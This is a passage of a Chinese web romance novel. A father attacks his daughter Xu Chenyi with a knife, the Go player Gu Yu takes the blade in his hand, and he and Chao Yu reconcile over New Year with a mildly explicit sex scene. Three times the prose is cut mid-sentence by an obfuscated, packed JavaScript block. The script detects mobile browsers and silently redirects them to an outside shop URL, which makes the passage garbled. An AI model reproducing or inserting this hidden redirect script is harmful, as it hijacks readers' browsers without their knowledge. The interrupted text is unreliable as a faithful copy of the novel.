辜屿没答他的话,没走扶梯,一只手臂撑着跃上池边来,只问是不是快迟到了,走去淋浴。 丁鷇音一边催他快点,一边跟在他身后嘀嘀咕咕:“这人头发贴着头皮怎么还那么帅?” 现在想来,那时泳池的音响正在放一首歌,撞在空荡荡贴白瓷的墙上似有回响。 一如此刻,漫天“铃儿响叮当”的欢快乐曲中,也有同样的一首歌钻出来,撞在来回飘摇的雪片上。 那首歌词里唱: 「我的命中命中, 越美丽的东西我越不可碰。」 丁鷇音也不是什么天真的人,他圆滑而世故,很少对人置评。可这时他忍不住跟辜屿说:“你不该是认命的人。” 辜屿的一双眼扫过来。 他当然不是什么认命的人。 只是那两个反复困扰他的问题,他想不出解答。一如许辰懿所说:你自己都想不清楚,就不要再去打扰晁雨。 另一边,洵州。晁雨跳进木制老宅内,葛洁的炭盆总是燃得很小心,生怕有什么火灾隐患。晁雨来回来去翻烤着自己的双手,葛洁在一旁拿火钳拨弄着炭,一边问她:“冷吧?” 晁雨笑道:“这么湿冷着最烦人了。还不如像北京那样,爽爽利利地……” 她本想说“爽爽利利地下一场雪”,说到一半却截住话头。 她怀念的,真是北京的一场雪么? 无论什么,她都不该再怀念了。 对许辰懿而言,她是东北出来的姑娘,对雪就没什么向往了。 北京接连几天的大雪,让交通近乎陷于瘫痪。每天早晨开车去上班,半小时走不了五百米,她只得放弃开车去挤地铁,咒骂着这该死的鬼天气。 不过她是媚行人间的许辰懿,就算挤地铁,也是要穿九厘米高跟鞋的。 从地铁站出来时,她抬眸望一望天。相较于带来切实不便的大雪,其实她更讨厌这样的天色,灰霾的,像一只乌鸦的翅膀压过来,总让人心里涌起不好的预感。 许辰懿觉得自己这人挺倒霉的,每次预感都是好的不灵坏的灵。 这天她难得不加班,从亚轩那玻璃麒麟一般的办公楼走出来,正要往地铁站去,看到大楼前站着一个佝偻着腰的中年男人。 他穿过时不入流的棉夹克,有种经年洗不去的油污、泛着难看的油亮。他头发很长,个子不高又喜欢怂着肩,整个人邋里邋遢的,显得极不清爽。 许辰懿脑子里嗡地一声。 既然找到这里来了,躲是躲不过的。 她走过去,对着男人的背影喊了声:“许强。” 男人转过头来,一笑露出老烟枪的黄牙,好像多年来没好好刷过:“哪有闺女这样直呼亲爹大名的?” 许辰懿暗自紧攥着奢品包的提手,让自己表情维持镇定:“你怎么找到这里来的?” “你从不告诉家里你在哪上班。”许强咧着黄牙笑道:“我兄弟那么多,自然有我的办法打听。” “找我什么事?” “我们别在这里谈,对你影响不好。”许强一副很体贴她的样子:“我们换个地方谈。” 说罢往地铁站的方向走去。 许辰懿一言不发跟在他身后。 许强进了地铁站,看了半天方向,扫码过闸口的时候觉得新鲜,咯咯咯地笑了半天。他太邋遢,旁边拥挤的上班族自动远离他,晚高峰的地铁车厢里,他身边竟空出个小小半圆来。 许辰懿也站得离他很远。 一手拎着包,一手紧拉着吊环,紧抿着唇,望着自己映在地铁车窗上的一张脸。 人挤人的车厢里,应该没有任何一个,会把她和许强联想到一起。 可为什么过了这么多年,无论她怎么往前跑、怎么往上爬,过去却像是蛰伏在暗处的巨兽,始终在她身后如影随形,不知什么时候就会张开血盆大口。 许辰懿看着地铁方向,已经知道许强要带她去哪里了。 果然不出她所料。 许强带她去的,是湿地公园的一处连廊。 这是许辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许辰懿回过头,她是眼看着这一切发生的,但她的手脚僵得发沉,做不出任何动作。 直到身侧一阵利落脚步。 有人撞开了她,她穿着高跟鞋猛地踉跄了两步,感到自己的鞋跟断了。 许强没想到会有人,但穷途末路之徒反应奇快,又朝着许辰懿刺来,嘴里质问着:“你给不给钱?” 嘶啦—— 很细微的响声。 许辰懿阖了阖眼,才意识到那是刀刃划破皮肤的声音。 把她撞开的那人,伸手握住了刀。 漫天的雪被风卷着落了下来。鲜红的血一滴、两滴,落在尚有积雪的连廊地面上,又很快被新的雪片掩埋。 许强来找许辰懿之前是喝了酒的,此时真见了血,睁圆双眼,倏然醒过神来一般,抛下刀后退一步、两步,终于跌跌撞撞转身跑了。 许辰懿终于看清了撞开她那人的脸。 那竟是辜屿。 辜屿一只手臂垂落着,血顺着指尖一滴滴淌落。刚开始是鲜红,后来被刀刃的锈迹所染一般,变成一种浓稠的暗红。 许辰懿呆呆看着,辜屿却很镇定,另只手从口袋里掏出手机来,拨了三个数字键,按下拨通以前,微蹙了下眉,回头看一眼许辰懿:“我报警?” 许辰懿点点头:“好,报。” 她不知道自己先前一次次跟许强说要报警、是不是在说狠话,她也不知自己对亲生父亲做不做得到。但辜屿指尖的鲜血好似点醒了她。 再不报警,她和两个妹妹不知要面临怎样的境遇。 辜屿干脆利落地打电话报警,说明情况。 等他挂了电话,许辰懿颤抖着声音说:“你在流血。” 他收起手机瞥了许辰懿一眼,好像许辰懿说了句废话以及蠢话。 直到这时,一堆扛着摄影器材的人才跑了过来,一看辜屿淌血的左手都吓坏了。 “快快快!”有人尖声指挥:“送他去医院!” 辜屿离开前,低声问了许辰懿一句:“能自己等警察?” 许辰懿点点头。 辜屿在一堆人的簇拥下离开了,蹙着眉,很不习惯人群围着他的样子。 许辰懿在原地等着,警方很快赶到。简单做了笔录后,让许辰懿先回家。 许辰懿打开家门,旋开淋浴。刚刚许强刺向她的那把刀,已被交给警方,可她就是觉得鼻端的一股铁锈味挥之不去,让人骨头都发寒。 她冲完热水澡,摸过手机给晁雨打了个电话。 “喂?”晁雨清柔的声音传来。 在许辰懿喉头哽了许久的雪和风,这时忽然通了般,许辰懿哇地一声哭出声:“小雨!我有件事要告诉你。” 76. 后来05 晁雨握着手机,听许辰懿絮絮叨叨说了许久的话。 许辰懿到底受了惊吓,前言不搭后语的把事情因果讲给晁雨听,语句零落不成章法。晁雨听到辜屿受伤的时候,握着手机的指尖紧攥起来,又渐渐放松。 许辰懿哭着问:“你是不是很担心?” “我不担心他,有很多人照顾他。”晁雨说:“我担心你,你怎么样?” 许辰懿哇地一声哭得更惨了:“你怎么这么好啊!你莫不是个傻子吧?” 晁雨:“我马上买票来北京。” 许辰懿:“不不,你别来。警察还没找着许强,挺危险的。” 晁雨:“那我更得来。” 许辰懿:“不,你真别来,你来了我又多条软肋。” 晁雨只得不再坚持。 许辰懿絮絮跟晁雨说:“其实我反而挺开心的,真的。” “不是我终于下定了决心把许强送进监狱,当然这也让我挺开心的。可我更开心的是,小雨,他不是你想的那样子,他不是什么冷血的人。” 许辰懿哇哇大哭:“你那么喜欢他,你终于可以跟他在一起了!” 她语序颠倒地又跟晁雨讲一遍刚才所有的细节,讲辜屿是如何冲过来,如何撞开她,又是如何用左手握住了刀刃。 许辰懿:“你知道吗他用的是左手。他是左撇子,下棋的左手对他多宝贵啊,如果他经过思考,他就算要夺刀也一定会用右手的。” “他用左手说明他根本什么都没想。他没想过我是你朋友,没想过救了我是不是能跟你和好,他甚至也许根本没看清出事的是我,就算不是我而是其他任何人,他都会这么做的。” “他很冷淡,看着很傲,嘴巴不讨喜。” “可是小雨,”许辰懿哭着说:“至少他是个好人。” 晁雨心里有什么东西砸下来,像什么巨大的神像轰然倒塌。 他终究不是无悲无喜的佛子。 他是有血有肉的人。 许辰懿问晁雨:“你会和他在一起吗?” 晁雨张了张嘴,舌尖在上颚划一圈,才道:“我不知道。” 她是真的不知道。 她之前坚定与辜屿分手,问题不止出在辜屿,还出在她自己。 出在和其他人一样、并没有相信辜屿的她自己。 晁雨又安慰许辰懿几句,让她睡觉前一定锁好门,这才挂断电话。 怔怔坐在卧室窗前,望着天井里桂树的枯枝。 快要跨年了,又一年冬去春来,桂树枝头又会生出新芽。树虽如此,那么人呢?重来是否真的这么简单。 三天后便是跨年。 那是一个周五,连老城区都一副喜气洋洋的劲头。 晁雨收拾东西下班时,九叔斜着眼问她:“不出去过节?” 晁雨笑问他:“跟你一起过,你过不过?” “走走走。”九叔故作嫌弃地一挥手:“我才懒得搭理你。” 晁雨背着帆布包回家。 在洵州,跨年是个大日子。人总是向往辞旧迎新、满是希望的感觉,跨年和除夕一样,是要醒着跨过零点的。 葛洁做了满桌的菜,配晁正声那一壶桂花酒,又带些唏嘘地讲:“二柱子那个工作啊——逢年过节,怎么总是回不来。” 晁雨故意逗她:“我在家陪着,已经不能满足你了是吧?” “话不是这么说的。”葛洁却当了真,认真解释起来:“从小你带着一帮男孩凑在咱们家里,我热闹惯了呀,总归希望人越多越好的。” 说着又叹了句:“也不知这老宅子真的拆迁以后,人还能不能聚得那么齐了。” 晁正声筷尖一抖落下颗花生米去,晁雨勾腰去帮她捡,舌尖在齿间抵一抵。 她想说这事还有希望。 她离劝宁塔方案的完成越来越近了。如果杜昱德和明恒宇不能拿这项目去国际拿奖,开发木安老街对他们的价值就直线下降,他们是有可能放弃这一项目的。 但她想了想决定先不说。 这件事太重了,既然还没完成,就先不要给人以虚假的希望。 吃过晚饭,葛洁把炭盆的火生得更旺了些,打着毛线跟晁正声一同守夜。 晁雨跟她说:“我出去一趟。” “大过节的你去哪?” “九叔一个人,我去看看他。” “那你去吧。” 晁雨往外走时,葛洁在她身后叫了声:“小雨。” 晁雨回眸。 葛洁犹豫了半晌跟她说:“囡囡,新年快乐哦。” 这句话被葛洁说得满载母亲的温柔,不是群发短信里或者写在贺卡上的那种“快乐”,而是暖融融的、沉甸甸的,希望我的女儿,来年真的很快乐。 晁雨对葛洁扬起唇角:“我会努力的。” 葛洁望着她背影没再说什么,手里的毛线却勾错了一针。 心里想:真正的快乐,又哪里是一件需要努力的事呢? 晁雨跨出老宅的门槛时,脚步顿了顿。 月光如霜,带着划过鼻腔的清冷气息,让人想起北方的雪。 便是在这时,一束车灯打照过来,令晁雨不自觉地眯了眯眼。 一道身影款步而来,晁雨发现自己的感觉比自己的视线更早判断出,那是辜屿。 明明,她已觉得两人渐行渐远。 明明,她已觉得辜屿该变得陌生。 可身上的每条神经都在提醒,她仍在意,她仍熟悉。 晁雨垂下眼睫,有些不知如何料理这样的感觉。 辜屿走到她面前来,晁雨视线垂着,因而先看到的是辜屿缠了纱布的左手。 “伤怎么样了?”她开口问:“疼么?” 辜屿:“不疼。” 辜屿说这话的语气,让晁雨想起—— 在晁二柱挥拳相向的时候,他爬起来,指尖滴落小臂擦出的血。那时晁雨垂着眼睫,没有过问他一句。 晁雨张了张嘴,却不知还能说什么。 一年多的时间过去,他们之间好像已被时间塞了太多的灰,不知怎样擦拭才能再见那个狂热炽烈的夏天。 他们就这样静静站在月光下,许久。 晁雨的身后,葛洁絮叨着“大过节的你非要倒腾你那破花盆干嘛”,披着件衣服走出大门外来,看样子是来拿门口的花盆。 望了眼门口的辜屿,一怔,又看晁雨一眼。 在辜屿开口招呼她“葛阿姨”之前,默默又退回门里去了。 等葛洁的身影消失、月光又把冬夜铺满寂静。 “对不起。”辜屿开口:“还有,我爱你。” 晁雨倏然睁圆了双眼。 在那个盛夏被深秋拽着远去时,她曾经想过:也许她这辈子,再没机会听辜屿说出那声“喜欢”或“爱”了。 那和夏天傍晚的残阳、操场边扫着小腿的荒草一样,是让人一想到、就充满遗憾的事。 万万没想到,辜屿就这样说出来了。 晁雨下意识接了句:“没有你这样讲的。” 哪有人把“我爱你”和“对不起”放在一起说,听起来猝不及防。 晁雨又问:“对不起什么?” 辜屿:“在酒店遇到许辰懿的时候,我没提醒她。” “还有我家的事,没提早告诉你。” 晁雨发现,自己别扭了这么久,就是在等辜屿说这一声“对不起”。 辜屿见她沉默,问:“你怎么说?” “我不知道。”晁雨答。 说完往前走去,走了两步内心“嘶”一声。 才发现这事有点尴尬——她根本还不知九叔家住哪,本想出门后打电话问来着。 她只得站在路边,掏出老人机给九叔打电话:“喂。” “喂!” “九叔,你家住在哪?” “干嘛!”老头儿的声音听起来又粗又砺。 “我来陪你跨年,不行啊?” “不行!”老头儿扬着破锣鼓嗓子:“我一个人清静惯了!” 晁雨一只手插在羽绒服口袋里,微埋着头跟九叔讲电话,脚尖在地面轻轻蹭着。 青石板路一踩就有故事般的回响,她能听到辜屿走到了她身后。 她不回头,感受着辜屿周身冷薄又凌厉的气息。 辜屿伸出手来,擦过她耳边。 没碰她冻得微红的耳朵,只是动作带出的风撩动她发丝。 辜屿拿过她手机,对电话里的九叔说:“喂。” 九叔明显一怔:“小兔崽子,你怎么跟雨丫头在一起?” “你家住哪?” “你们一个两个的,都来查我户口啊?”老头儿嗓门恁地大。 辜屿淡淡道:“来陪你下棋。” 那边一下子没声了。 下棋这种事对老头儿的诱惑力,堪比猫薄荷对猫。 九叔那边缄默良久,才不情不愿报出自己家的地址。 晁雨心里想:哟,挺厉害。 辜屿把手机递还给晁雨,晁雨放回口袋,往九叔家的方向走去。 青石板路晃悠悠,辜屿的脚步声响在她身后。 晁雨回眸:“你也去?” “我不去的话,”辜屿反问:“你陪九叔下棋?” “……”晁雨转回头不言语了。 寂寂的街道上脚步声似有回响,两人走过唐爷爷的小卖部、走过南方冬日尚带绿意的成排的树、猫时而蹿过晁雨脚边叫出“喵呜”一声。 晁雨嘴里吐出薄薄一团白色的气,轻轻把被风拂乱的发丝挽回耳后。 她不知辜屿是否在身后看着她,不知她的肩头、发丝、围巾的一角是否都缀着辜屿的目光。 月光那样静,静得仿佛在爱人。 九叔家终于到了。 晁雨曾和许辰懿蛐蛐过九叔:“他师弟是知名纳税大户,他学生在国外买酒庄,你说他成名也挺早的,怎么就穷得没钱吃晚饭呢?” 当时许辰懿笑道:“财不外露,说不定人家在你不知道的地方住豪宅,要不怎么从不让你去他家呢?” 晁雨觉得颇有道理。 只是现在,走过桥墩、走过一片红白塑料布扯出的低矮窝棚、走进一条路灯灭了大半的小巷,晁雨的心里越来越起疑。 小巷尽头,一间低矮的平房坐落在那里,老头儿穿着件被烟头烫出一个洞的破棉服,背着手站在门口扬声喊:“你们烦不烦?非要来打搅我清静。” 又问:“你们俩怎么在一起?” 晁雨的睫毛尖轻轻一翕:“碰上了。” 辜屿瞥她一眼。 老头儿傲娇地哼一声,背着手就往屋里进。晁雨跟进去,往屋内环视一圈。 不大,大概也就五十来平,客厅和房间是一体,没有厨房,旁边那扇掩住的小门应该是卫生间。 屋里的陈设之少,大概只有辜屿能与之抗衡。 就一张单人钢架子床,一张暗黄漆的凳子当床头柜,没有电视,一个掉漆斑驳的三角架子上放着脸盆、搭着毛巾。一台收音机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14182719|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在床头,咿咿呀呀地唱着昆戏。 这……也实在不像有钱的样子。 九叔已迫不及待摆好棋盘:“来来来,杀起来。” 晁雨问九叔:“你吃晚饭没有?” “酒算晚饭么?”他一个老单身汉,也没什么年不年节不节的,瞎对付。 晁雨从帆布包里,翻出从家带来的卤牛肉和花生米,揭开饭盒盖子,拿一只板凳放到棋盘旁边。 背着手看了会儿两人对弈,着实看不懂。 刚巧这时许辰懿给她发微信,她有来有去地回了几条。 问九叔:“充电器呢?老人机没电了。” 九叔顺手一指。 晁雨拿了充电器,瞥见窗边有个插线板,便搬了张掉漆的板凳坐过去,插着充电线跟许辰懿聊着微信。 一边顺手拿了袋瓜子来嗑。 九叔的眼神斜过来:“诶诶诶,你别嗑我瓜子!” “这把年纪了,别这么小气。” 九叔一边对弈,一边顺口道:“你俩怎么回事,来是一起来的,怎么没话可讲的吗?” 晁雨怔了怔。 这才发现进屋以后,她只对着九叔讲话,辜屿也只对着九叔讲话。 这时辜屿却道:“有。” “有什么话讲?”九叔的注意力全在棋盘上,顺口接话:“你们既然互相不讲话,不如你告诉我,我替你讲。” 晁雨正嗑一颗瓜子,齿尖一错,舌尖是细细密密的疼。 有那么一瞬,她觉得辜屿会说:“那你告诉她,我爱她。” 静了一秒、两秒,晁雨觉得空气中那根隐形绷紧的弦又出现了。 像她曾和辜屿共度的那个夏天一样。 窗外烟花忽而迸开,惊得人心脏一跳。 晁雨看向手机,才发现零点了。 她跟九叔说:“新年快乐。” 九叔捂着胸口:“我要是这盘棋输了,全赖这烟花害的。”又问晁雨:“怎么,你们互相也不说声新年快乐啊?” 晁雨的眼神一点点挪。挪到辜屿暗色的大衣、宽的肩,他白皙颈间淡青的经脉,他线条流畅的下巴、挺拔的鼻梁。 接着才今晚第一次的,认认真真对上他的眼。 发现辜屿正看着她。 晁雨睫毛不自觉地又是一翕,便想去咬自己的唇角。辜屿视线点落在她咬红的唇,听她说:“新年快乐。” 辜屿:“新年快乐。” 等一盘棋下完,九叔不出意料地落败。老头儿吹胡子瞪眼:“新年也不说让让我!” “让了,九子。” “……噢,忘了。” 老头儿棋盘一掀就开始赶人:“得了得了,零点也过了,你们别扰我了。” 晁雨和辜屿走出屋内,小巷里既静且暗。 这一次,辜屿没走在晁雨身后,与她并肩走着。唯一剩的一盏路灯,灯丝发出嘶嘶声,让人疑心它随时也要熄灭。 辜屿问晁雨:“我刚刚跟你说的话,就这么算了?” 晁雨微垂眼睫:“我真的不知道。” “哦。”辜屿点点头。 晁雨轻吐出一口气来。 那么,就算了? 便是在这当下,晁雨纤瘦的腕子被人一把捉住,小巷的暗寂让她本能想要低呼出声,勉强吞回音节,辜屿锋芒的气息压过来,把她堵在墙边,圈进自己的臂弯里。 晁雨低声问:“你干嘛?” 辜屿:“不知道的意思,是你对我没感觉了?” 晁雨避开他视线,不自觉又去咬自己的唇。 辜屿抬一抬她下巴:“看我。” 晁雨只得看进他眼底去。 那一刻晁雨心想:喜欢过这样一个人,她还怎么去喜欢其他人呢? 他沉黑的瞳似幽深的潭,诱着人纵身往里跳,不要自己地想要与他接吻。 晁雨轻滚一下咽喉,辜屿压着下巴,好看的薄唇凑过来。 晁雨避开他:“我没信心。” “对我?” “对你,也许更多是对我自己吧。”她也没有始终如一坚定站在他那一边。 辜屿围在她身侧的手松了松。 晁雨这一晚有无数个瞬间想:也许他俩之间就这样了。 她怯而止步,他不再往前。他们本来就是对彼此有所保留的两个人,辜屿那一声跟“对不起”混在一起的“我爱你”,本就听起来漫不经意,也许就那样掉进青石板路的缝隙。 谁都可以当它没发生过。 今晚过去,辜屿放手。她还是那个在小城里围着起毛球的围巾、穿着过时雪地靴、拿着两千五月薪的不入流设计师。 他还是那个世界的宠儿、锋芒毕露、全民追捧的天才棋手。 两人之间再无交集。 晁雨甚至来不及分辨在心头一晃而过的是不是失落,辜屿松开一瞬的手再次围拢过来。这一次他清清楚楚、明明白白地说:“可是,我爱你。” “信心没有了,可以找回来。”他说:“从前做得不好的,我也可以学。你要教我吗?” 晁雨看着他,她的眼被冷空气扑得潮漉漉的。辜屿低头堵住她的唇,撬开她齿尖。 晁雨阖上眼,微微仰起下巴。 那是一个毫无保留的热吻,在南方冬夜湿冷的空气中。晁雨靠着低矮的砖墙,两人唇舌纠缠在一起。 直到辜屿终于离开她,拇指摁住她被吻到微肿的唇。 晁雨湿软的气息喷在他指腹。他说:“这一次,我不想放手。” 77. 后来06 晁雨跟着辜屿回了毛家小院。 毛秀珍已经睡下了。辜屿房间仍和以前一样,桌椅一尘不染,床品每周一换,好似毛秀珍随时等着他回来。 窗外冬风正凛。晁雨却像那个狂热炽烈的夏天一样,跌进藏蓝淡格纹的床品间。无论怎么洗,还是有淡淡他身上的味道,像他的吻一样,裹缠住她皮肤。 分明是把耳朵冻得微红的天气,晁雨却出了一身薄薄的汗。 她皮肤太薄,很快见了绯色。轻攘着辜屿的肩:“不行……没准备。” 辜屿看一眼她微蜷着抵住床单的脚趾,伸手拉开床头柜抽屉。 晁雨人傻了:“你、你就把这个……放抽屉里啊?毛奶奶看到怎么办?” 辜屿:“她不会翻我东西。” 晁雨汗出得更密了。她齿尖抵着辜屿的肩,把那些呼之欲出的音节吞回去。辜屿捏住她下巴:“怎么更爱咬人了?” 晁雨说不清。 她只是觉得,原来快乐是不用努力的,感觉是不能努力的。她和辜屿缠在一起,像要把彼此吞没进自己体内。 她被推至悬崖又抛入云端,抓着辜屿浓密的发。 辜屿低头吻她湿漉漉的睫,看她双眼几近失神。她喃喃叫他的名字:“辜屿……” 有那么一瞬辜屿渴望她会说:“我爱你。” 可她没有。她只是始终喃喃地叫她。 当辜屿把积攒的想念倾泻殆尽。心想:没有关系。 他很轻地用指尖拨弄着晁雨额间茸茸的发,他可以慢慢来,像等待一个终会到来的夏天一样。 - 晁雨枕着辜屿的胳膊缓了半天,一根根把玩着他细长的手指。 她不剩什么力气了,软着声音跟辜屿说:“我还是得回家睡去……” 辜屿食指摩着她滑腻的肩:“嗯。” 又躺了会儿,晁雨:“我真得走了。” “嗯。” 来回来去说了几轮,晁雨的眼皮开始打架。 再一睁眼的时候,她从床上惊坐起来:“几点了?” 辜屿被她惊醒,摸过手机,抬手胡乱揉了下额发,哑着嗓音道:“六点四十。” 靠,真性感。 可晁雨顾不得这些,从床上跳下来火速套好衣服:“我得走了!” 葛洁已看到辜屿回洵州了。 这要是知道她在毛家小院留宿,心里该怎么想?虽然葛洁的态度已有软化,但晁雨不知她受不受得起这个刺激。 偏偏她溜回老宅的时候,撞上做完了早饭、正要去摊上的葛洁。 葛洁一眼瞥过来。 她先就心虚了。心想自己脖子上有辜屿弄出的痕么?应该没有吧?她昨晚不停提醒来着。 她退了小半步,缩着脖子叫了声:“妈。” 葛洁:“饭厅里有做好的早饭,你吃完自己把碗筷收一收。” 晁雨转念一想:伸头是一刀,缩头也是一刀。 像晁二柱上次那样把她和辜屿的事说出来,说了也就说了,省得心里一直悬吊吊的。 她叫葛洁:“妈……” 葛洁却冲她挥挥手:“你爸腰出了毛病,摊子上忙得很,有什么事晚点再说。” 一句话把晁雨给堵了回去。 毛秀珍起床就听到院里有动静,她也没什么可偷的,拖着步子走过去:“大胆毛贼,敢打你美少女奶奶的主意……” 一句话没说完,看到她的宝贝大外孙刚洗漱完,水灵灵地从浴室走出来。 “二狗子,”毛秀珍怔问:“你怎么回来了?” 辜屿:“新年快乐。” 毛秀珍又愣了:“回来过节的?还没吃早饭吧,你等着啊,等着等着。” 说着就往厨房走去。 毛秀珍这人,心情特好或特不好的时候,厨艺都发挥得特别抽象。她用花椒炒了盘火龙果,又煮了两只荷包蛋,甜度尝起来足像撒了三斤白糖。 辜屿:…… 他吃早饭的时候,毛秀珍端张小板凳,托腮在一旁看着他。 辜屿在她过分热切的目光中:…… 问她:“你不吃么?” “我先看你吃。”毛秀珍搓着手,看上去喜滋滋的。 她看着辜屿吃荷包蛋,想起她第一次把辜屿从北京接回洵州时,也不知该给这看起来阔绰的小少爷吃什么,便也煮了两只荷包蛋。 心情一激动,其中一只还粘锅煮糊了。 辜屿默默吃着。那时他的头发很软,坐了很久的绿皮火车,埋头吃着的时候,后脑勺一小缕翘起来。 吃完看她半晌,说了两个字:“好吃。” 后来她一狠心把辜屿送回北京,辜屿便再没说过她做的任何东西“好吃”了。 这会儿她默默看着辜屿吃早饭。当年的男孩已长成现在的男人,目光变得淡薄,就连头发也坚硬起来,再也没有后脑勺翘起的一缕了。 毛秀珍却前所未有的,想要摸一摸他的头。 她搓着树皮般发干的手掌,直到辜屿抬起头来:“这么看着我做什么?” “没什么没什么。”毛秀珍犹豫片刻,把一只红包从口袋里掏出来:“压岁红包,先给你吧。” 辜屿逢年过节从不回来。她每年从跨年开始,就备好了给辜屿的压岁钱,红包揣在兜里,从平整变得皱巴巴,却从没有给出去的机会。 辜屿说:“你收着吧。” 毛秀珍有点急:“你别嫌少,我虽然没什么钱……” “我的意思是,”辜屿打断她:“过年的时候你再给我。” 毛秀珍一愣。 辜屿拿起吃完的碗筷站起来:“好吃。” 说罢往厨房走去。剩下毛秀珍一个人坐在小板凳上,眼泪一点点沁出来。 她猛一吸鼻子,站起来跟着往厨房走:“二狗子,你放那,我来洗……” - 毛秀珍下午的时候给晁雨打电话,神神秘秘地压低声:“你来一趟。” “我睡午觉呢。”晁雨浅浅打个呵欠。 劝宁塔的方案接近尾声了。她从上次的失败里吸取教训,急不得,该休息还得休息。 加上她昨晚被辜屿折腾的是真累,今天午后难得出太阳,她眼皮似要黏在一起。 毛秀珍却急了:“啊呀你快来!我有大事!” 晁雨只得从床上爬起来去了。一头长发也懒得细梳,在脑后束一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14192027|143130||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个马尾。 毛秀珍坐在院子里等她,一见她就朝她挥手。 她走过去坐下。 毛秀珍以手掩嘴贴近她耳边:“你小点声,二狗子回来了,在他自己房里呢。我觉得他不对劲。” “怎么不对劲?” “先说好啊,虽然二狗子喜欢过你,但你跟他已经分了。我跟你讲什么八卦,你可不能翻脸。” “哦。”晁雨装傻。 “他好像交新女朋友了,不知是哪个小妖精!” “……”晁雨问:“你怎么知道是小妖精?” 毛秀珍一拍巴掌:“二狗子转性了呀!开始跟我说人话啦。” 晁雨听乐了:“合着他以前说的都不是人话呗?” “我的意思是,他这次回来说的话都特有人情味。” “哦。”晁雨唇边溢出清浅笑意。 他的确说过,他可以学。 他永远不可能变成一个热情温暖的人。可也能学着不再刺伤身边的人。 “你笑什么呀!”毛秀珍急得搡她一把:“二狗子跟你在一起的时候都没这么大改变,偏偏不知哪个小妖精做到了。你说她道行是不是比你高?” “或许吧。”晁雨跟毛秀珍闲扯的时候,辜屿打开房门出来。 晁雨没看向他,却分明感到他的视线,落在她扎起马尾的纤长的颈。 因为昨夜他吻吮过来的时候,拨了几次,她的长发汗湿了仍腻在颈间。他说:“绑起来不好么?” 晁雨当时说:“不好。” 这会儿他的视线落过来,晁雨感到颈间一阵灼热。 毛秀珍问晁雨:“你急不急?他被个小妖精迷了心窍。” 晁雨:“我有什么可急的。” 过了几天,毛秀珍再次把晁雨叫到小院,气急败坏地低嚷:“你不急我急!” “你急什么?” “那小妖精快把我宝贝大外孙吸干了!” “……”晁雨颈根都红了:“你说什么呢?” “我又没说你,你那么大反应干嘛?” 晁雨清了清嗓子问:“你怎么知道?” “我就是知道,二狗子的床头柜里放着……”毛秀珍鬼鬼祟祟压低声:“我数了,每天晚上都少一片。” “你数这干嘛?!” “那我有天看着二狗子捶后腰,我就觉得不对劲嘛!我好不容易养大的外孙,这是哪个小妖精不知道悠着点使,夜夜跑来勾引他!” “不是,你不能这么说……”晁雨正要辩驳,辜屿从院外进来。 洵州的游泳馆冬天也开放,吸引不了什么人,分外清静。辜屿游完泳回来,带着一身水汽,看晁雨和毛秀珍坐在冬日暖阳下,旁边放一盘炒花生,浓乌的长发披了满肩。 他走过去,指尖轻拨了下晁雨的发丝:“今天不扎马尾了?” 说完发现毛秀珍直愣愣盯着他,晁雨坐在一旁,手指摸一摸自己发红的颈根。 毛秀珍指着辜屿问:“你、你俩……” “和好了。”辜屿点头,不明就里问:“怎么了?” 晁雨阖了阖眼,毛秀珍颤啊颤的手指冲着她:“原来,你就是那个小妖精——!” 78. 后来07 辜屿在洵州待了几天,葛洁一定瞧出晁雨已同他和好。 但葛洁始终不找晁雨谈这事,晁雨心里就始终挂着份惴惴。 直到这天夜里,晁雨躲在辜屿房里,暖气开得足,在窗玻璃上结出一层模糊的雾。晁雨枕在辜屿肩头,辜屿靠着床头,一手握着份半卷的棋谱。 “我想睡。”晁雨打个呵欠。 “那就睡。” “可是闭了一会儿眼,又睡不着。”晁雨眼睛滴溜溜转一圈,问他:“你在看什么?” “棋谱。” “不如你给我讲讲,”晁雨翻了个身,变成半趴在他胸口:“这局棋是怎么下的?” 辜屿便给她大致讲了讲。 讲着讲着瞥她一眼,眼见着她眼皮开始打架。 拎一拎她侧颊:“你是真想听么?” 晁雨懒懒地笑,索性又从他身上趴到床上:“你给我揉揉后腰。” “怎么?”辜屿眼睛还看着棋谱,手指钻进她毛衣下摆,贴着她柔腻后腰,顺手揉了两把。 晁雨说:“我腰疼。” 这下子辜屿的眼神从棋谱移开了,看着晁雨问:“你?腰疼?” “我不能腰疼吗?那不是有好几次我在上面吗?”晁雨把脸埋在臂弯里,说起话来也不嫌害臊:“姐姐年纪大了,来吧小鲜肉弟弟,好好给姐姐揉揉腰。” 葛洁的电话便是在这时打来的:“到堂屋里来。” 晁雨一下子坐直了:“妈,你提前收摊了?” “嗯。” “我这就来。” 辜屿和她一同下了床。 晁雨问:“你干嘛?” “和你一起去。” “不怕挨骂啊?”晁雨故意问:“说不定还打你呢,像电视剧里演的那样,打断你狗腿。” “怕。” “怕你还去。” 辜屿牵起晁雨的手:“怕也要去。” 